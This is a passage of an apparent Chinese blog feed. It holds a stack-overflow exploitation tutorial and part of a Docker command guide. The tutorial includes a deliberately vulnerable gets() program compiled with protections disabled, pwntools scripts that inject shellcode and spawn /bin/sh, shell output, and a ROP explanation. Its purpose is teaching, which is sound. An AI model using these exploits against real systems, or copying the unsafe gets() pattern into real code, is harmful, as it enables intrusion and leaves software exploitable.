#include &amp;lt;stdlib.h&amp;gt;

void func() { printf(&quot;akakak\n&quot;); }

void getstr() {
    char buf[16];
    // printf(&quot;Address of buffer (buf): %p\n&quot;, buf);
    gets(buf);
}

int main() {
    getstr();
    printf(&quot;I am fine.\n&quot;);
    // exit(0);
    return 0;
}
// gcc -g -z execstack -fno-stack-protector -Og -no-pie main.c
// python3 att2.py &amp;amp;&amp;amp; setarch (uname -m) -R ./a.out &amp;lt; hex
// objdump -d ./a.out &amp;gt; a.md
// setarch (uname -m) -R ./a.out &amp;lt; hex
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;# att2.py
from pwn import *

func_addr = 0x401156
Shellcode = asm(&quot;push {}; push {}; ret&quot;.format(hex(0x4011a2), hex(func_addr)))
padding = b&apos;A&apos; * 13 # (24 - len(Shellcode))
addr_exit_buf = 0x7fffffffdb10 # 需要你自行去找栈的位置，因为环境变量不同（gdb 的环境变量也与你的Shell的环境变量多一些）

payload = Shellcode + padding + p64(addr_exit_buf)

with open(&apos;hex&apos;, &apos;wb&apos;) as f:
    f.write(payload)
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;0000000000401156 &amp;lt;func&amp;gt;:
  401156:	f3 0f 1e fa          	endbr64 
  40115a:	48 83 ec 08          	sub    $0x8,%rsp
  40115e:	48 8d 3d 9f 0e 00 00 	lea    0xe9f(%rip),%rdi        # 402004 &amp;lt;_IO_stdin_used+0x4&amp;gt;
  401165:	e8 e6 fe ff ff       	call   401050 &amp;lt;puts@plt&amp;gt;
  40116a:	48 83 c4 08          	add    $0x8,%rsp
  40116e:	c3                   	ret    

000000000040116f &amp;lt;getstr&amp;gt;:
  40116f:	f3 0f 1e fa          	endbr64 
  401173:	48 83 ec 18          	sub    $0x18,%rsp
  401177:	48 89 e7             	mov    %rsp,%rdi
  40117a:	b8 00 00 00 00       	mov    $0x0,%eax
  40117f:	e8 dc fe ff ff       	call   401060 &amp;lt;gets@plt&amp;gt;
  401184:	48 83 c4 18          	add    $0x18,%rsp
  401188:	c3                   	ret    

0000000000401189 &amp;lt;main&amp;gt;:
  401189:	f3 0f 1e fa          	endbr64 
  40118d:	48 83 ec 08          	sub    $0x8,%rsp
  401191:	b8 00 00 00 00       	mov    $0x0,%eax
  401196:	e8 d4 ff ff ff       	call   40116f &amp;lt;getstr&amp;gt;
  40119b:	48 8d 3d 69 0e 00 00 	lea    0xe69(%rip),%rdi        # 40200b &amp;lt;_IO_stdin_used+0xb&amp;gt;
  4011a2:	e8 a9 fe ff ff       	call   401050 &amp;lt;puts@plt&amp;gt;
  4011a7:	b8 00 00 00 00       	mov    $0x0,%eax
  4011ac:	48 83 c4 08          	add    $0x8,%rsp
  4011b0:	c3                   	ret    
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;很好，这是一个绝佳的进阶问题。去掉 &lt;code&gt;exit(0)&lt;/code&gt; 后，我们失去了那个可以让我们“优雅退出”的 &lt;code&gt;gadget&lt;/code&gt;。现在，&lt;code&gt;main&lt;/code&gt; 函数的结尾是一个 &lt;code&gt;return 0;&lt;/code&gt;，它在汇编层面最终也是一个 &lt;code&gt;ret&lt;/code&gt; 指令。如果我们像上次一样，在调用完 &lt;code&gt;func()&lt;/code&gt; 之后让它 &lt;code&gt;ret&lt;/code&gt; 回一个无效的地址（或者一个已经被我们破坏的栈上的地址），程序就会崩溃。
现在我们考虑 &lt;strong&gt;在栈上执行我们自己的代码 (Shellcode)&lt;/strong&gt;。&lt;/p&gt;
&lt;hr /&gt;
&lt;h3&gt;新的攻击思路：栈执行与 Shellcode&lt;/h3&gt;
&lt;p&gt;之前的攻击是 &lt;strong&gt;“借用”&lt;/strong&gt; 程序已有的代码 (&lt;code&gt;func&lt;/code&gt;)，这属于 &lt;strong&gt;“代码重用”&lt;/strong&gt; 攻击。
这次的攻击是 &lt;strong&gt;“注入”&lt;/strong&gt; 我们自己的代码并执行它。这依赖于一个关键的编译选项：&lt;code&gt;-z execstack&lt;/code&gt;。&lt;/p&gt;
&lt;h4&gt;&lt;strong&gt;Shellcode 的作用&lt;/strong&gt;&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;Shellcode&lt;/strong&gt; 是一小段被精心设计，用于在目标机器上执行的二进制机器码。它之所以叫 &quot;Shellcode&quot;，是因为其最经典的作用就是为攻击者获取一个交互式的命令行 &quot;Shell&quot; (比如 &lt;code&gt;/bin/sh&lt;/code&gt;)。&lt;/p&gt;
&lt;p&gt;在我们例子中，Shellcode 并非为了弹出一个 Shell，而是为了实现一个更精巧的控制流：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;调用我们想调用的 &lt;code&gt;func()&lt;/code&gt; 函数。&lt;/li&gt;
&lt;li&gt;在 &lt;code&gt;func()&lt;/code&gt; 执行完毕后，让程序能恢复到正常的执行流程中，而不是崩溃。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Python 脚本中的这行代码就是在生成这个 Shellcode：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Shellcode = asm(&quot;push {}; push {}; ret&quot;.format(hex(0x4011a2), hex(func_addr)))
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;让我们分解这段汇编：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;push 0x4011a2&lt;/code&gt;: &lt;code&gt;0x4011a2&lt;/code&gt; 是 &lt;code&gt;main&lt;/code&gt; 函数中 &lt;code&gt;call getstr&lt;/code&gt; 指令的下一条指令地址，也就是 &lt;code&gt;printf(&quot;I am fine.\n&quot;)&lt;/code&gt; 的入口。这行代码的作用是把&lt;strong&gt;正常的返回地址&lt;/strong&gt;压入栈中。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;push 0x401156&lt;/code&gt;: &lt;code&gt;0x401156&lt;/code&gt; 是 &lt;code&gt;func&lt;/code&gt; 函数的地址。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ret&lt;/code&gt;: 这个 &lt;code&gt;ret&lt;/code&gt; 指令会从栈顶弹出地址并跳转。此时栈顶是刚刚压入的 &lt;code&gt;func&lt;/code&gt; 的地址。所以，程序会跳转去执行 &lt;code&gt;func()&lt;/code&gt;。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;整个流程是这样的：&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;getstr()&lt;/code&gt; 函数返回时，&lt;code&gt;ret&lt;/code&gt; 指令会跳转到我们覆盖的返回地址，也就是 &lt;code&gt;addr_exit_buf&lt;/code&gt; (栈上缓冲区的起始地址)。&lt;/li&gt;
&lt;li&gt;CPU 开始执行放在缓冲区里的 &lt;strong&gt;Shellcode&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;Shellcode 先把&lt;strong&gt;正常返回地址&lt;/strong&gt; (&lt;code&gt;0x4011a2&lt;/code&gt;) 压栈，再把 &lt;code&gt;func&lt;/code&gt; 的地址压栈。&lt;/li&gt;
&lt;li&gt;Shellcode 执行 &lt;code&gt;ret&lt;/code&gt;，跳转到 &lt;code&gt;func&lt;/code&gt; 函数，屏幕上打印 &quot;akakak&quot;。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;func&lt;/code&gt; 函数执行完毕后，它自己的 &lt;code&gt;ret&lt;/code&gt; 指令会弹出栈顶的地址并跳转。此时栈顶正是我们 Shellcode 之前放进去的&lt;strong&gt;正常返回地址 &lt;code&gt;0x4011a2&lt;/code&gt;&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;程序跳转回 &lt;code&gt;main&lt;/code&gt; 函数，继续执行 &lt;code&gt;printf(&quot;I am fine.\n&quot;)&lt;/code&gt;，然后正常退出。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;这是一个非常巧妙的、&quot;无痕&quot; 的攻击，因为它最终恢复了程序的正常执行流。&lt;/p&gt;
&lt;hr /&gt;
&lt;h3&gt;栈安全的核心原则：W^X (Write XOR Execute)&lt;/h3&gt;
&lt;p&gt;最重要的原则之一就是 &lt;strong&gt;W^X&lt;/strong&gt;（发音为 &quot;W xor X&quot;），即 &lt;strong&gt;内存页要么是可写的（Writable），要么是可执行的（Executable），但绝不能同时是两者&lt;/strong&gt;。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;栈（Stack）/ 堆（Heap）&lt;/strong&gt;：这些内存区域需要被程序动态地写入数据（局部变量、动态分配的对象等），所以它们&lt;strong&gt;必须是可写的（W）&lt;/strong&gt;。根据 W^X 原则，它们就&lt;strong&gt;绝不应该是可执行的（X）&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;代码段（.text）&lt;/strong&gt;：这里存放程序的指令，CPU 需要读取并执行它们，所以它&lt;strong&gt;必须是可执行的（X）&lt;/strong&gt;。为了防止恶意代码篡改程序逻辑，它就&lt;strong&gt;绝不应该是可写的（W）&lt;/strong&gt;。
这个保护通常由硬件（CPU 的 &lt;strong&gt;NX Bit&lt;/strong&gt; - No-eXecute bit，或 AMD 的 &lt;strong&gt;EVP&lt;/strong&gt; - Enhanced Virus Protection）和操作系统共同实现。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;-z execstack&lt;/code&gt; 选项的作用就是告诉编译器和链接器：“请为这个程序打破 W^X 规则，将栈所在的内存区域标记为可执行”。&lt;/strong&gt; 这就为我们的 Shellcode 攻击打开了大门。在现代默认安全的编译环境中，这个选项是不会开启的。如果没有这个选项，即使我们成功地将返回地址指向了栈上的 Shellcode，当 CPU 尝试执行栈上的指令时，也会触发一个硬件异常，导致程序立即崩溃。&lt;/p&gt;
&lt;hr /&gt;
&lt;h3&gt;为什么 gdb 上成功攻击了，但是在 Shell 中出现 &lt;code&gt;SIGSEGV&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;我们分两步来解答：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;为什么环境变量会在栈上？&lt;/li&gt;
&lt;li&gt;这为什么会导致栈布局偏移？&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;为什么环境变量会在栈上？&lt;/strong&gt;
这要从一个程序是如何被操作系统启动说起。当你从shell（如bash, fish）中执行一个命令 &lt;code&gt;./a.out&lt;/code&gt; 时，发生了以下一系列事件：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Shell 创建一个新进程&lt;/strong&gt;：Shell首先调用 &lt;code&gt;fork()&lt;/code&gt; 系统调用，创建一个与自己几乎一模一样的子进程。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;子进程准备执行新程序&lt;/strong&gt;：这个新的子进程将要执行 &lt;code&gt;./a.out&lt;/code&gt;。它通过调用 &lt;code&gt;execve()&lt;/code&gt; 这个系统调用来做到这一点。&lt;code&gt;execve&lt;/code&gt; 的作用是&lt;strong&gt;用一个全新的程序（./a.out）来完全替换当前进程的内存空间&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;内核加载程序并传递信息&lt;/strong&gt;：这是最关键的一步。当内核处理 &lt;code&gt;execve&lt;/code&gt; 请求时，它会：
&lt;ul&gt;
&lt;li&gt;加载 &lt;code&gt;./a.out&lt;/code&gt; 的二进制代码和数据到内存中。&lt;/li&gt;
&lt;li&gt;为新程序创建一个全新的虚拟内存空间，包括代码段、数据段、堆和&lt;strong&gt;栈&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;问题来了&lt;/strong&gt;：新程序 &lt;code&gt;a.out&lt;/code&gt; 需要知道它的运行环境。比如，它需要知道命令行参数（arguments, &lt;code&gt;argv&lt;/code&gt;）和环境变量（environment variables, &lt;code&gt;envp&lt;/code&gt;）。这些信息都是由它的父进程（shell）传递过来的。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;内核选择栈来传递信息&lt;/strong&gt;：内核必须把 &lt;code&gt;argv&lt;/code&gt; 和 &lt;code&gt;envp&lt;/code&gt; 这些动态的信息放到新进程内存的某个地方，以便程序一启动就能访问到。
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;为什么不是堆？&lt;/strong&gt; 堆（Heap）是程序在运行时动态管理的，程序启动时它甚至还不存在。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;为什么不是数据段？&lt;/strong&gt; 数据段（.data, .bss）是为编译时就已知的全局变量和静态变量准备的，大小是固定的。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;为什么是栈？&lt;/strong&gt; 栈（Stack）是完美的场所！它是一块预留给进程的内存区域，从进程地址空间的最高处开始。内核可以在程序的第一条指令执行之前，就把所有启动信息（环境变量、命令行参数等）整齐地“推入”到这个栈的顶部。这是一种非常简单高效的设计。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;所以，一个新进程启动时，它的栈顶并不是空的，而是由内核预先填充了所有必要的启动信息。&lt;/p&gt;
&lt;p&gt;这就是为什么会导致栈布局偏移，在GDB中计算出的精确栈地址 &lt;code&gt;0x7fffffffdb10&lt;/code&gt;，在真实运行时会变成 &lt;code&gt;0x7fffffffda70&lt;/code&gt; 的根本原因。&lt;/p&gt;
&lt;hr /&gt;
&lt;h3&gt;ROP 的思想：当 W^X 开启时怎么办？&lt;/h3&gt;
&lt;p&gt;好了，现在我们知道，在有 W^X 保护的现代系统中，栈是不可执行的，我们的 Shellcode 注入攻击会失败。那么攻击者就束手无策了吗？当然不。这就催生了更高级的攻击技术：&lt;strong&gt;ROP (Return-Oriented Programming, 面向返回的编程)&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;ROP 的核心思想是：既然我不能注入自己的代码，那我就“偷”和“借”程序本身已有的代码片段来用。&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;寻找 Gadgets&lt;/strong&gt;：攻击者会扫描程序的整个代码段（&lt;code&gt;.text&lt;/code&gt; section，这是可执行的），寻找一些有用的、以 &lt;code&gt;ret&lt;/code&gt; 指令结尾的短指令序列。这些序列被称为 &lt;strong&gt;&quot;Gadgets&quot;&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;经典的 Gadget&lt;/strong&gt;：例如 &lt;code&gt;pop rdi; ret&lt;/code&gt; 就是一个极其有用的 Gadget。
&lt;ul&gt;
&lt;li&gt;在 64 位 Linux 系统中，函数调用的约定是，第一个参数通过 &lt;code&gt;RDI&lt;/code&gt; 寄存器传递。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;pop rdi&lt;/code&gt; 指令的作用是将栈顶的数据弹到 &lt;code&gt;RDI&lt;/code&gt; 寄存器中。&lt;/li&gt;
&lt;li&gt;因此，&lt;code&gt;pop rdi; ret&lt;/code&gt; 这个 Gadget 给了我们&lt;strong&gt;控制第一个函数参数&lt;/strong&gt;的能力。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;链式调用 (Chaining)&lt;/strong&gt;：ROP 的精髓在于“链”。&lt;code&gt;ret&lt;/code&gt; 指令不仅是 Gadget 的结尾，也是连接下一个 Gadget 的“胶水”。攻击者可以在栈上精心布置一个数据序列：&lt;pre&gt;&lt;code&gt;    +-----------------------------------+
    | 地址 of &quot;pop rdi; ret&quot; gadget     | &amp;lt;-- 被覆盖的返回地址
    +-----------------------------------+
    | Value for RDI (addr of &quot;/bin/sh&quot;) | &amp;lt;-- 将被 pop 进 RDI 的值
    +-----------------------------------+
    | 地址 of system() function         | &amp;lt;-- &quot;pop rdi; ret&quot; 执行完后，ret 会跳转到这里
    +-----------------------------------+
    | ... (可以接更多 gadget 和数据) ... |
    +-----------------------------------+
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;攻击流程如下：&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;函数返回，&lt;code&gt;ret&lt;/code&gt; 指令跳转到 &lt;code&gt;pop rdi; ret&lt;/code&gt; Gadget 的地址。&lt;/li&gt;
&lt;li&gt;CPU 执行 &lt;code&gt;pop rdi&lt;/code&gt;，将栈上的 &lt;code&gt;/bin/sh&lt;/code&gt; 字符串地址弹入 &lt;code&gt;RDI&lt;/code&gt; 寄存器。&lt;/li&gt;
&lt;li&gt;CPU 执行 &lt;code&gt;ret&lt;/code&gt;，此时栈顶是 &lt;code&gt;system()&lt;/code&gt; 函数的地址，于是程序跳转到 &lt;code&gt;system()&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;system()&lt;/code&gt; 函数开始执行，它一看 &lt;code&gt;RDI&lt;/code&gt; 寄存器，发现参数是 &lt;code&gt;&quot;/bin/sh&quot;&lt;/code&gt;，于是它就为我们打开了一个 Shell。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;通过在栈上布置一连串的 &lt;code&gt;[Gadget地址] [数据] [Gadget地址] [数据] ...&lt;/code&gt;，攻击者可以像搭乐高积木一样，将这些小程序代码片段拼接起来，完成复杂的操作（如调用多个函数、进行计算等），其效果等同于执行了一段完整的 Shellcode，但整个过程中没有在栈上执行任何一个字节，完美地绕过了 W^X 保护。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;3. 如果我都有 W&amp;amp;X 的栈了，那我不是可以随心随意地执行汇编代码了吗（笑）&lt;/h2&gt;
&lt;p&gt;下面我们尝试在一个&quot;普通&quot;的gets()读取函数后，直接启动一个 &lt;code&gt;/bin/sh&lt;/code&gt; !
修改main.c&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;void getstr() {
    char buf[48]; // 大一点的空间来存我们的汇编代码
    printf(&quot;Address of buffer (buf): %p\n&quot;, buf);
    gets(buf);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;# att-sh.py
from pwn import *
context.arch = &apos;amd64&apos;
# nop_sled = asm(&apos;nop&apos;) * 13

func_addr = 0x401156
Shellcode = asm(&quot;sub rsp, 0x48&quot;) + asm(shellcraft.sh())
padding = b&apos;A&apos; * (56 - len(Shellcode))
addr_exit_buf = 0x7fffffffdc40
# addr_exit_buf = 0x7fffffffdb60 # gdb
print(len(Shellcode))
payload = Shellcode + padding + p64(addr_exit_buf)

with open(&apos;hex&apos;, &apos;wb&apos;) as f:
    f.write(payload)

#    0x7fffffffdb60:      sub    $0x48,%rsp               # 开辟一块栈空间，防止 push 指令覆盖我们的汇编代码
# =&amp;gt; 0x7fffffffdb64:      push   $0x68                    # h
#    0x7fffffffdb66:      movabs $0x732f2f2f6e69622f,%rax # /bin/s
#    0x7fffffffdb70:      push   %rax
#    0x7fffffffdb71:      mov    %rsp,%rdi
#    0x7fffffffdb74:      push   $0x1016972
#    0x7fffffffdb79:      xorl   $0x1010101,(%rsp)
#    0x7fffffffdb80:      xor    %esi,%esi
#    0x7fffffffdb82:      push   %rsi
#    0x7fffffffdb83:      push   $0x8
#    0x7fffffffdb85:      pop    %rsi
#    0x7fffffffdb86:      add    %rsp,%rsi
#    0x7fffffffdb89:      push   %rsi
#    0x7fffffffdb8a:      mov    %rsp,%rsi
#    0x7fffffffdb8d:      xor    %edx,%edx
#    0x7fffffffdb8f:      push   $0x3b
#    0x7fffffffdb91:      pop    %rax
#    0x7fffffffdb92:      syscall 
#    0x7fffffffdb94:      rex.B
#    0x7fffffffdb95:      rex.B
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;启动！/bin/sh&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;gcc -g -z execstack -fno-stack-protector -no-pie -Og main.c &amp;amp;&amp;amp; objdump -d ./a.out &amp;gt; a.md
python3 att-sh.py
(cat hex; cat) | setarch $(uname -m) -R ./a.out

# --- 示例 ---
ls
a.md  a.out  att-sh.py  att.py  hex  init  main.c
cd ..
ls
Desktop    Downloads  Music      Public     Templates  linux      sshfiles
Documents  Pictures   Videos     mnt        tmp        win
ps
    PID TTY          TIME CMD
  91051 pts/4    00:00:00 fish
  91412 pts/4    00:00:00 sh
  91414 pts/4    00:00:00 cat
  91528 pts/4    00:00:00 ps
# CTRL+D / exit
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;总结：&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Shellcode 注入&lt;/strong&gt;：强大直接，但依赖于一个“不安全”的前提——&lt;strong&gt;栈是可执行的 (W&amp;amp;X)&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ROP&lt;/strong&gt;：更为复杂和精巧，它通过重用程序自身的可执行代码片段 (Gadgets)，在&lt;strong&gt;栈不可执行 (W^X)&lt;/strong&gt; 的安全环境中，依然能实现任意代码执行的效果。它是现代二进制漏洞利用的基石。&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>docker 教程</title><link>https://blog.alinche.dpdns.org/posts/docker/docker/</link><guid isPermaLink="true">https://blog.alinche.dpdns.org/posts/docker/docker/</guid><description>docker 教程</description><pubDate>Mon, 15 Sep 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Docker 命令&lt;/h2&gt;
&lt;h4&gt;images&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;    shell
    docker images -aq
    docker search mysql -f=STARS=3000
    docker pull mysql[:0.8.5]
    docker pull docker.io/library/mysql:laster

    docker rmi -f &amp;lt;IMAGE ID&amp;gt;
    docker rmi -f $(docker images -aq)

    # 导出​​镜像到一个 tar 归档文件。
    docker save -o ubuntu.tar ubuntu:22.04
    docker load -i ubuntu.tar
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;container&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;    docker run [] image
    --name=&quot;my_Nginx_01&quot;
    -d   # 以后台方式运行
    -it  # 交互
    -p 8080:25565 # (主机:容器)
    -v /host/data:/container/data nginx # 挂载数据卷(主机:容器)
    -e &quot;&quot; / --env-file # 环境变量
    -u 1000:1000 
    -m 512m --cpus 1.5
    --rm # ​​退出时自动删除
    --restart [option] # 重启策略​​
    --health-cmd &quot;&quot; --health-interval=5s --health-timeout=3s --health-retries=3
    --platform linux/amd64 ubuntu
    --network my_app_net # 加入自定义网络
    --hostname my_container
    --add-host myhost:192.168.1.100 # myhost 将解析到 192.168.1.100

    # 开启一个新的交互式终端
    dorker exec -it &amp;lt;CONTAINER_ID&amp;gt; /bin/bash
    dorker attach &amp;lt;CONTAINER_ID&amp;gt;

    exit
    Ctrl+P+Q # 退出但不停止

    docker rm -f &amp;lt;CONTAINER_ID&amp;gt;
    docker rm -f $(docker ps -aq)
    docker start/restart/stop/kill &amp;lt;CONTAINER_ID&amp;gt;

    docker cp &amp;lt;CONTAINER_ID&amp;gt;:/home/file ./host_dir/

    # 查看容器日志等
    docker ps
    docker ps -aq | xargs docker rm
    docker port &amp;lt;CONTAINER_ID&amp;gt;
    docker top &amp;lt;CONTAINER_ID&amp;gt;
    docker logs -tf --tail 10 &amp;lt;CONTAINER_ID&amp;gt;
    docker logs &amp;lt;CONTAINER_ID&amp;gt; | grep -i error
    docker inspect --format=&apos;{{.State.Pid}}&apos; &amp;lt;CONTAINER_ID&amp;gt;  # JSON格式底层元数据
    docker inspect --format=&apos;{{.Config.Cmd}}&apos; &amp;lt;CONTAINER_ID&amp;gt; # 查看完整的启动命令参数
    docker stats --all
    docker info

    # 卷
    docker volume ls
    docker volume create my_volume
    docker volume inspect my_volume
    docker volume rm (docker volume ls -q)


    # 镜像构建​
    docker build -t helloworld . # --build-arg 
    docker buildx build -t my_actix_web:v0.1 .
    docker buildx build --platform linux/amd64,linux/arm64 -t my_actix_web:v0.1 .

    # 配置
    docker system df
    docker system prune
    lsof -i :8080
    docker history &amp;lt;CONTAINER_ID&amp;gt;

    sudo vim /etc/docker/daemon.json
    $ cat /etc/docker/daemon.json
    {
        &quot;registry-mirrors&quot;: [&quot;https://docker.mirrors.ustc.edu.cn/&quot;,&quot;https://registry.docker-cn.com&quot;]
    }
    docker info | grep &quot;Registry Mirrors&quot; -A 5
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;hub.docker.com&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;docker login -u &amp;lt;name&amp;gt; # hub.scutosc.cn 可指定 hub
docker tag mygo:latest alinche/mygo-dev:latest
docker push alinche/mygo-dev:latest

docker builder prune # 仅清理构建缓存
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;network&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;    docker network ls
    docker network create my_net
    docker run -d --net=my_net --name app1 nginx
    docker run -it --net=my_net alpine ping app1 # (Docker内置DNS)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;从最高层面来看，Docker 的体系结构主要由以下三个部分组成：&lt;/p&gt;
&lt;h2&gt;Docker 拆解&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Docker 客户端 (Client)&lt;/strong&gt;: 这是用户与 Docker 进行交互的主要界面。我们日常使用的 docker 命令，实际上就是 Docker 客户端程序。它接收用户的指令，并将其发送给 Docker 守护进程进行处理。客户端可以通过本地 Unix 套接字或网络与守护进程通信，这意味着你可以在本地机器上通过客户端操作远程服务器上的 Docker。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Docker 守护进程 (Daemon / Server)&lt;/strong&gt;: Docker 守护进程(&lt;code&gt;dockerd&lt;/code&gt;)是 Docker 架构的核心。它是一个在后台持续运行的服务，负责接收并处理来自客户端的请求。构建(Build)、运行(Run)、分发(Ship) 容器的所有繁重工作都由它来完成。守护进程管理着 Docker 的所有对象，包括镜像、容器、网络和存储卷。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Docker 仓库 (Registry)&lt;/strong&gt;: 这是集中存储和分发 Docker 镜像的地方。一个 Docker Registry 可以包含多个仓库(Repository)，每个仓库可以包含多个标签(Tag)的镜像。最著名的公共 Registry 就是 Docker Hub，但用户也可以搭建自己的私有 Registry。当你执行 docker pull ubuntu 或 docker push my-app 命令时，守护进程就是与 Docker Registry 进行通信。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;守护进程的内部拆解&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Docker Daemon (dockerd)&lt;/strong&gt;: 这是最高层的服务，它暴露了 Docker API，并负责处理来自客户端的请求，同时管理镜像、容器、网络、存储卷等上层对象。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;containerd&lt;/strong&gt;: 这是从 Docker Daemon 中分离出来的一个更底层的容器管理器。dockerd 不再直接负责容器的生命周期管理（如创建、启动、停止），而是将这些任务委托给 containerd。这样做的好处是，即使 dockerd 守护进程崩溃，正在运行的容器也不会受到影响，因为它们的实际管理者是 containerd。containerd 专注于管理容器的完整生命周期：从镜像拉取和推送到存储管理，再到容器的执行和监控。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;runC&lt;/strong&gt;: 这是 containerd 的下一步。containerd 也不直接创建容器，而是使用一个符合 OCI 规范的底层容器运行时（Low-level Runtime）来完成这个任务，runc 就是最常用的一个。runc 是一个轻量级的命令行工具，它的唯一职责就是根据 OCI 规范来创建和运行容器。它负责设置 Linux 内核提供的隔离机制，如命名空间（Namespaces）和控制组（Cgroups），然后运行容器内的进程。创建完成后，runc 进程就会退出，容器进程会成为孤儿进程并被系统接管。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;shim (containerd-shim)&lt;/strong&gt;: runc 退出后，谁来负责收集容器的状态、处理 STDIN/STDOUT 的I/O流呢？这就是 shim 的作用。containerd 会为每个运行的容器启动一个 containerd-shim 进程。这个 shim 进程作为容器进程的父进程，负责报告容器状态给 containerd，并允许在不影响容器进程的情况下重新连接到容器的I/O流。它也是实现 dockerd 或 containerd 重启后仍能管理现有容器的关键。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;隔离的基石：Linux 命名空间 (Namespaces)&lt;/h2&gt;
&lt;h3&gt;Pid Namespace —— 独立的进程树&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;进程树: 每个 PID 命名空间都拥有自己独立的进程树，以init进程(PID 1)为根的树形结构，每个PID命名空间都有自己独立的进程树。&lt;/li&gt;
&lt;li&gt;通过clone()或unshare() 系统调用，添加 CLONE_NEWPID flags，告诉内核为新创建的进程创建一个全新的PIDns&lt;/li&gt;
&lt;li&gt;进程退出后进程状态变为 EXIT_ZOMBIE ，等待父进程wait()或waitpid()回收资源，&lt;/li&gt;
&lt;li&gt;Linux内核主要采用顺序递增的方式分配PID，维护一个全局计数器其最大值由/proc/sys/kernel/pid_max定义(e.g.32768)，然后回绕，通过一个PID位图(PID bitmap)，&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;// 在内核中，每个进程的 task_struct 结构体都通过 nsproxy 指针指向其所属的命名空间集合，从而实现了进程与特定 PID 命名空间的关联。
struct task_struct {
    pid_t pid;                  // 进程ID
    pid_t tgid;                 // 线程组ID（主线程PID）
    struct task_struct *parent; // 指向父进程，构成了进程树中向上的链接
    struct list_head children;  // 子进程双向链表链表头
    struct list_head sibling;   // 兄弟进程链表节点
    struct nsproxy *nsproxy;    // 命名空间代理（含PID命名空间）
};
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;# 获取容器在宿主机上的 PID
docker inspect --format &apos;{{.State.Pid}}&apos; my-container
# CONTAINER_PID=$(docker inspect --format &apos;{{.State.Pid}}&apos; my-container)
cat /proc/$CONTAINER_PID/status | grep Pid
pstree -p $CONTAINER_PID
